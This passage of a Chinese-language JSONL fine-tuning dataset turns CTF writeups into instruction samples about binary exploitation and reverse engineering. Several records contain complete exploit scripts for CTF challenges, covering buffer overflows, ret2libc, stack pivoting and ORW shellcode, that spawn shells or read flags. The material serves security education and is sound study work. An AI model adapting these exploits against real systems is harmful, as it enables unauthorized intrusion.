"assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::6a117b08258b2818", "original_line": 1039, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "2025湾区杯-oddcanary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "6a117b08258b2818", "source_split": "train", "split": "train", "split_group_key": "196dc06d3469bcfff214c798", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-80452e61047e8352e696", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[WUSTCTF 2020]getshell2”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[WUSTCTF 2020]getshell2”。\n语言/类型：python\n关联知识点：\n- `p32(system_plt) + p32(0) + p32(str_binsh)` 可以替换成 `p32(call_system) + p32(str_sh) `\n- `eip`寄存器指向当前正在执行的指令。当我们调用一个函数时，当前的 `eip` 值会被压栈，这样在函数执行完毕后，程序可以通过弹出栈顶的 `eip` 值继续执行之前的指令。\n- 由于我们手动调用 `system` ，我们是没有将返回地址压栈的，栈中是没有返回地址的，会导致栈错误\n- 当使用`call system`指令时，`call`指令本身会自动将当前的eip压栈。所以我们可以直接跟参数，而不需要手动压入一个返回地址\n- 在 linux 中，/bin/sh 是二进制文件，而 sh 是环境变量，相当于执行 /bin/sh\n代码片段：\n```python\np32(system_plt) + p32(0) + p32(str_binsh)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4593c02950627cc6", "original_line": 1024, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[WUSTCTF 2020]getshell2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4593c02950627cc6", "source_split": "train", "split": "train", "split_group_key": "44a32da78894c4e7b81b3b24", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-80cb79de74e7be1833df", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[NISACTF 2022]ezheap”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[NISACTF 2022]ezheap”。\n语言/类型：python\n关联知识点：\n- 程序为32位，分配了两个堆块，第二个堆块的内容作为system函数参数执行。\n- 但是写入第一个堆块的内容没有限制，所以产生了堆溢出。\n- 通过覆盖掉第二个堆块的头部，拿到shell。\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\npayload=b'a'*0x20+b\"/bin/sh\\x00\"\n\ns(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7252138a06b6cf71", "original_line": 910, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[NISACTF 2022]ezheap", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7252138a06b6cf71", "source_split": "train", "split": "train", "split_group_key": "cccb0ad846fec45da91f9f8c", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-81ab8c705d263b43ecea", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“反汇编”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“反汇编”。\n语言/类型：python\n关联知识点：\n- 字节码拿过来反汇编就得到了针对 python 虚拟机的汇编代码，类似于 x86 汇编，但是比 x86 的好读多了，通过 dis.dis 就可以将字节码转换为可读的伪代码。\n代码片段：\n```python\nimport dis\nimport marshal\n\nwith open(\"out.pyc\",\"rb\") as f:\n\traw = f.read()\n\ncode = marshal.loads(raw[16:])\ndis.dis(code)\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::156898b184e97795", "original_line": 86, "original_split": "validation", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "反汇编", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "156898b184e97795", "source_split": "validation", "split": "train", "split_group_key": "5163cf95f0181ad58f2cc0c9", "tags": ["reverse"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-81b456d41a35c5528774", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[SWPUCTF 2022 新生赛\\]Integer Overflow”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[SWPUCTF 2022 新生赛\\]Integer Overflow\n关键词：p32、SWPUCTF、gift、elf、ELF、sys、sla、your、name、payload\n蒸馏要点：\n- 程序要求输入无符号数，但是没有限制输入字符，所以我们可以输入-1导致输入长度变大。\n可用于训练的标准回答：\n### \\[SWPUCTF 2022 新生赛\\]Integer Overflow\n\n#A #整数溢出\n\n程序要求输入无符号数，但是没有限制输入字符，所以我们可以输入-1导致输入长度变大。\n\n从而产生溢出。\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nsh=0x804a008\nsys=0x8049100\nsla(b\"Tell me your choice:\",b\"1\")\n\nsla(b\"First input the length of your name:\",b\"-1\")\npayload=b'a'*36+p32(sys)+p32(0)+p32(sh)\nsa(b\"\\x1B[36m What's u name?\\n\\x1B[0m\",payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0801d5787429cb76", "original_line": 1051, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[SWPUCTF 2022 新生赛\\]Integer Overflow", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0801d5787429cb76", "source_split": "train", "split": "train", "split_group_key": "0ba0f7ce29ac9d9b6fcafa13", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-82b4706c1d9a4c826b52", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“[HGAME 2023 week1]easyoverflow”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“[HGAME 2023 week1]easyoverflow”。\n语言/类型：python\n关联知识点：\n- close(1)关闭掉了标准输出，所以要进行输出重定向。\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\ncli_script()\n\nio= gift[\"io\"]\nelf= gift[\"elf\"]\npayload=b'a'*24+p64(0x40117e)\ns(payload)\nsl(\"exec 1>&0\")\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::25fb285443d96ea0", "original_line": 861, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "[HGAME 2023 week1]easyoverflow", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "25fb285443d96ea0", "source_split": "train", "split": "train", "split_group_key": "8fca7ead3b4f08b9ec053611", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8397e4dedab85e18ef73", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "请将《SMC自修改代码》蒸馏成模型训练用的知识卡片，要求覆盖主题、知识结构、关键术语和核心要点。", "role": "user"}, {"content": "主题：SMC自修改代码\n领域标签：pwn, reverse, crypto, web, ctf-method\n知识结构：简介 -> 实现与破解 -> 内存权限修改 -> 实现 -> 动态解密法 -> [FLAG_REDACTED] -> Reference\n关键术语：encrypt、SMC、omg、mprotect、wrong、VirtualProtect、flag、enc、scanf、Str、unk_4030c0、API、code、addr、ord、add\n核心要点：\n- 自修改代码（SMC, Self Modifying Code）是在程序执行过程中修改其自身指令的技术。通常，这种做法旨在通过减少指令路径长度来提高性能，或者为了避免重复代码，从而简化维护。自修改代码一般是有意进行的，目的是优化或保护程序的运行，而不是由于错误导致的意外修改。\n- 在逆向工程中，自修改代码通常表现为大量的无序代码，未被执行的部分无法直接分析。通过动态修改代码或数据，程序能够在运行时自我解密，防止静态分析工具的破解。这种技术常用于动态代码加密中，旨在通过修改代码来阻止逆向分析，直到程序执行到相应时刻才会恢复正常的可执行代码，从而达到反调试、反逆向的效果。\n- SMC 的实现方式有很多种，可以通过修改 PE 文件的 Section Header、使用 API Hook 实现代码加密和解密、使用 VMProtect 等第三方加密工具等。\n- 在 CTF 中常见的形式是首先对`.text`段的代码进行加密，然后通过 SMC 进行自解密修改。\n- 而一般程序的`.text`段是没有写权限的，在进行自修改之前，程序需要修改目标内存的权限。\n- 在不同的系统中定义有不同的 API 函数来修改内存权限。\n- 在 Linux 系统中，可以通过`mprotect`函数修改目标内存的权限。\n- `mprotect`是 Linux 系统的一个 API 函数，可以改写内存权限。这个函数的原型如下：\n- 第一个参数：开始地址（为了页对齐，该地址必须是一个内存页的起始地址，即页大小整数倍，1 页 = 4k = 0x1000）\n- 第二个参数：指定长度（长度也应该是页的整倍数，即 0x1000 的整数倍）", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4b6c2bf46e3886e2", "original_line": 623, "original_split": "train", "record_family": "sft_chatml", "record_type": "article_knowledge_card", "section": "article_overview", "source": "SMC自修改代码.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4b6c2bf46e3886e2", "source_split": "train", "split": "train", "split_group_key": "cd6740874e1ae6eb48160c7b", "tags": ["pwn", "reverse", "crypto", "web", "ctf-method"], "title": "SMC自修改代码", "type": "article_knowledge_card"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8414089f21a6124101d1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ciscn2019en2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ciscn2019en2\n关键词：p64、elf、payload、puts、libc、off、rdi、x00、puts_addr、base\n可用于训练的标准回答：\n### ciscn2019en2\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\noff=0x58\nr()\nsl(\"1\")\nrdi=0x0000000000400c83\nret=0x00000000004006b9\npayload=off*b'\\x00'+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nsl(payload)\nputs_addr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nlibc=LibcSearcher(\"puts\",puts_addr)\nbase=puts_addr-libc.dump(\"puts\")\nsys=base+libc.dump(\"system\")\nsh=base+libc.dump(\"str_bin_sh\")\nr()\nsl(\"1\")\npayload=off*b'\\x00'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::e462beb9708760d9", "original_line": 96, "original_split": "validation", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ciscn2019en2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "e462beb9708760d9", "source_split": "validation", "split": "train", "split_group_key": "d922596810ee229abf4ef3ac", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8421d7e28763a16cc838", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《VM 指令虚拟化》的“结构体定义”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：VM 指令虚拟化 / 结构体定义\n关键词：unsigned、：对虚拟机环境进行初始化\n-、CTF、opcode、typedef、struct、eip、mem、code、vm_init\n蒸馏要点：\n- CTF 中的 VM 通常会实现一个类似如下的结构体，用于保存虚拟机状态：\n- `vm_init`：对虚拟机环境进行初始化\n- `vm_dispatcher`：调度器，解释opcode，并选择对应的handle函数执行，当handle执行完后会跳回这里，形成一个循环。\n- `opcode`：程序可执行代码转换成的操作码。\n- 照着大佬的图画的：\n可用于训练的标准回答：\n### 结构体定义\n\nCTF 中的 VM 通常会实现一个类似如下的结构体，用于保存虚拟机状态：\n\n```c\ntypedef struct{\n\tunsigned int r1;         //虚拟寄存器 r1\n\tunsigned int r2;         //虚拟寄存器 r2\n\tunsigned int eip;        //指向正在解释的 opcode 地址\n\tunsigned char mem[256];  //虚拟内存\n\tunsigned char code[1024];//存放自定义机器码\n}VM;\n```\n\n- `vm_init`：对虚拟机环境进行初始化\n- `vm_dispatcher`：调度器，解释opcode，并选择对应的handle函数执行，当handle执行完后会跳回这里，形成一个循环。\n- `opcode`：程序可执行代码转换成的操作码。\n\n照着大佬的图画的：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::test::distilled_training_data::test::c63957b43f9ac450", "original_line": 26, "original_split": "test", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "结构体定义", "source": "VM 指令虚拟化.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "c63957b43f9ac450", "source_split": "test", "split": "train", "split_group_key": "52c25c771b5a7d986c8c6ff1", "tags": ["reverse", "ctf-method"], "title": "VM 指令虚拟化", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-84c93aed864695879a77", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“5. exit(0)”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 5. exit(0)\n关键词：mov、rax、rdi、shellcode2、syscall、shellcode1、rsp、rsi、rdx、len\n蒸馏要点：\n- shellcode2=asm('''\n- mov rax,0x67616c66\n- push rax\n- mov rdi,rsp\n- mov rsi,0\n- mov rdx,0\n- mov rax,2\n可用于训练的标准回答：\n# 5. exit(0)\n\n# mov rdi,0\n\t# mov rax,60\n\nshellcode2=asm('''\nmov rax,0x67616c66\npush rax\n\nmov rdi,rsp\nmov rsi,0\nmov rdx,0\nmov rax,2\nsyscall\n\nmov rdi,rax\nmov rsi,rsp\nmov rdx,1024\nmov rax,0\nsyscall\n\nmov rdi,1\nmov rsi,rsp\nmov rdx,rax\nmov rax,1\nsyscall\n\nmov rdi,0\nmov rax,60\nsyscall\n''')\n\nlg('shellcode1',len(shellcode1))\nlg('shellcode2',len(shellcode2))\n\ns(shellcode1)\ns(shellcode1 + shellcode2)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4b14af1b7f47d021", "original_line": 683, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "5. exit(0)", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4b14af1b7f47d021", "source_split": "train", "split": "train", "split_group_key": "be221c2a12f99f2be29bbf02", "tags": ["pwn"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-86ceaaf37e8e5becda94", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ciscn2019es2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ciscn2019es2\n关键词：ebp、p32、bin、elf、payload、import、gift、ELF、leave、system_addr\n可用于训练的标准回答：\n### ciscn2019es2\n\n#栈迁移\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nleave = 0x080484B8\nsystem_addr = elf.symbols['system']\n\ns(b'a'*36 + b'bbbb')\nru(b'bbbb')\nebp = u32(r(4))\nprint(\"ebp\",hex(ebp))\n\n#ebp-0x28指向/bin/sh\npayload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\\x00').ljust(0x28, b'a')\npayload += p32(ebp-0x38) + p32(leave)\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::73ca97412d97aac9", "original_line": 930, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ciscn2019es2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "73ca97412d97aac9", "source_split": "train", "split": "train", "split_group_key": "f95bf21ac0a47d0dd68014c3", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-86f4f539c2994570f3e2", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Angr：Angr符号执行》的“Explorer”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Angr：Angr符号执行 / Explorer\n关键词：angr、state、Explorer、explorer、active、find、avoid、claripy、Project、DFS\n蒸馏要点：\n- 可以使用 explorer 方法去执行某个状态，直到直到目标指令或者 active 中没有状态为止，它有如下参数：\n- find：传入目标指令的地址或地址列表，或者一个用于判断的函数\n- avoid：传入要避免的指令的地址或地址列表，或者一个用于判断的函数，用于减少路径\n- angr 会沿着分支按照某种策略（默认DFS）进行状态搜索，当达到目标状态时，使用约束求解器（claripy）对收集到的约束进行求解。\n- 因此，使用 angr 一般分为如下步骤：\n- 创建 Project，预设 state\n- 创建位向量和符号变量，保存在内存/寄存器/文件或其他地方\n可用于训练的标准回答：\n### Explorer\n\n可以使用 explorer 方法去执行某个状态，直到直到目标指令或者 active 中没有状态为止，它有如下参数：\n\n- find：传入目标指令的地址或地址列表，或者一个用于判断的函数\n- avoid：传入要避免的指令的地址或地址列表，或者一个用于判断的函数，用于减少路径\n\nangr 会沿着分支按照某种策略（默认DFS）进行状态搜索，当达到目标状态时，使用约束求解器（claripy）对收集到的约束进行求解。\n\n因此，使用 angr 一般分为如下步骤：\n\n- 创建 Project，预设 state\n- 创建位向量和符号变量，保存在内存/寄存器/文件或其他地方\n- 将 state 添加到 SM 中\n- 运行，探索满足条件的路径\n- 约束求解获取执行结果", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7eb1fabf511b0814", "original_line": 1007, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "Explorer", "source": "Angr.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7eb1fabf511b0814", "source_split": "train", "split": "train", "split_group_key": "5bf660c8323a93af6c4310c7", "tags": ["reverse", "ctf-method"], "title": "Angr：Angr符号执行", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-86fedfd62fb7226a373d", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“爆破canary”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“爆破canary”。\n关联知识点：\n- 不同编译器编译出来的程序`canary`位置可能不同，比如对于ubuntu来说：使用gcc编译出来的32位程序`canary`会被写在`ebp-0xc`，64位程序则在`rbp-0x8`，后者的`canary`才和栈底相邻。\n- 对于Canary，虽然每次进程重启后Canary不同，但是同一个进程中的不同线程的Cannary是相同的，并且通过fork函数创建的子进程中的canary也是相同的，因为fork函数会直接拷贝父进程的内存。\n- 最低位为0x00，之后逐次爆破，如果canary爆破不成功，则程序崩溃；爆破超过则程序进行下面的逻辑。由此可判断是否成功。\n- 我们可以利用这样的特点，彻底逐个字节将Canary爆破出来。\n- 爆破canary的通用模板：\n代码片段：\n```\nLow\nAddress |                 |\n        +-----------------+\n        | 局部变量         |\n\t    +-----------------+\nrbp-8 =>| canary value    |\n        +-----------------+\nrbp =>  | old ebp         |\n        +-----------------+\n        | return address  |\n        +-----------------+\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::4b8c1bb7b104a033", "original_line": 1043, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "爆破canary", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "4b8c1bb7b104a033", "source_split": "train", "split": "train", "split_group_key": "51ad23eed11ce70ce05e0515", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-8715ee4bb3e5dbc6c602", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“OpenSSL”部分，提炼一条适合 SFT 的中文技术讲解样本（第 6 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / OpenSSL（第 6 段）\n关键词：BN_ULONG、RSA、BIGNUM、- 编译、shell\ngcc demo.c -o demo -lcrypto、结构体来表示大整数。大整数（如 RSA 模数）是通过、类型来处理的，这个结构体是、类型的具体实现。、printf、encrypted_length\n蒸馏要点：\n- if (encrypted_length == -1) {\n- fprintf(stderr, \"Error encrypting message\\n\");\n- BN_free(bn);\n- RSA_free(rsa);\n- return 1;\n- printf(\"Encrypted message:\\n\");\n- for (int i = 0; i < encrypted_length; i++) {\n可用于训练的标准回答：\nif (encrypted_length == -1) {\n        fprintf(stderr, \"Error encrypting message\\n\");\n        BN_free(bn);\n        RSA_free(rsa);\n        return 1;\n    }\n\nprintf(\"Encrypted message:\\n\");\n    for (int i = 0; i < encrypted_length; i++) {\n        printf(\"%02x\", encrypted[i]);\n    }\n    printf(\"\\n\");\n\n// 清理资源\n    BN_free(bn);\n    RSA_free(rsa);\n    return 0;\n}\n```\n\n- 编译\n\n```shell\ngcc demo.c -o demo -lcrypto\n```\n\n- 逆向分析\n\n同样在动态链接的情况下我们可以直接分析 OpenSSL 的库函数。\n\n但如果在静态链接并去除符号的情况下我们就需要根据函数参数和功能来分析了。\n\n在 OpenSSL 中通过`bignum_st`结构体来表示大整数。大整数（如 RSA 模数）是通过`BIGNUM`类型来处理的，这个结构体是 `BIGNUM` 类型的具体实现。\n\n```c\nstruct bignum_st {\n    int top;                // 存储的位数（顶端位）\n    int dmax;               // 分配的空间大小\n    int neg;                // 标志位，表示大数的符号，0 为正数，1 为负数\n    int flags;              // 标志，表示其他状态信息（如是否是零）\n    BN_ULONG *d;            // 存储大整数的实际数据，使用 `BN_ULONG` 数组存储\n};\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 5, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fdf3f94312ac8de9", "original_line": 698, "original_split": "train", 